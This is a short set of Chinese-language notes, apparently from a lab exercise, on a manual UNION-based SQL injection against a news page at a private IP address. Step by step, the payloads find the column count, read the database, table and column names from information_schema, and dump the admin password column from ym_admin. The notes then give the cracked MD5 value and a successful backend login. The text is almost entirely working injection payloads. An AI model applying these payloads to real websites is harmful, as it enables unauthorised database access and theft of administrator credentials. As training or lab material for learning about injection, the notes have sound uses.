登录10.6.1.54，任意点取一个新闻的链接（http://10.6.1.54/newcontent.php?aid=-79 后面加#，返回正常说明是mysql）
http://10.6.1.54/newcontent.php?aid=-79 order by 18-- 数据库有18个表（/*从1开始试，取19时报错新闻内容消失，此时证明有它的数据库有18个表）
*aid号79前加上“-”号才能显示，（“-”的作用相当于1=2，即条件为假）
http://10.6.1.54/newcontent.php?aid=-79 union select 1,2,3，....18 /*联合查询，判断回显数据位置
http://10.6.1.54/newcontent.php?aid=-79 union select 1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- /*查看数据库名（user（）查看用户、version（）查看版本信息）
http://10.6.1.54/newcontent.php?aid=-79 union select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.tables where table_schema=数据库名字（用16进制表示）-- /*查看表名
limit 2,1 3,1...查看其他字段名
http://10.6.1.54/newcontent.php?aid=-79 union select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 from information_schema.columns where table_name=表名（用16进制表示）- /*查看列名
http://10.6.1.54/newcontent.php?aid=-79 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,pwd,15,16,17,18 from ym_admin-- /*爆管理员账户密码
得到MD5加密的密码b7a782741f667201b54880c925faec4b
解密得到密码10000
登录后台
输入密码成功登录
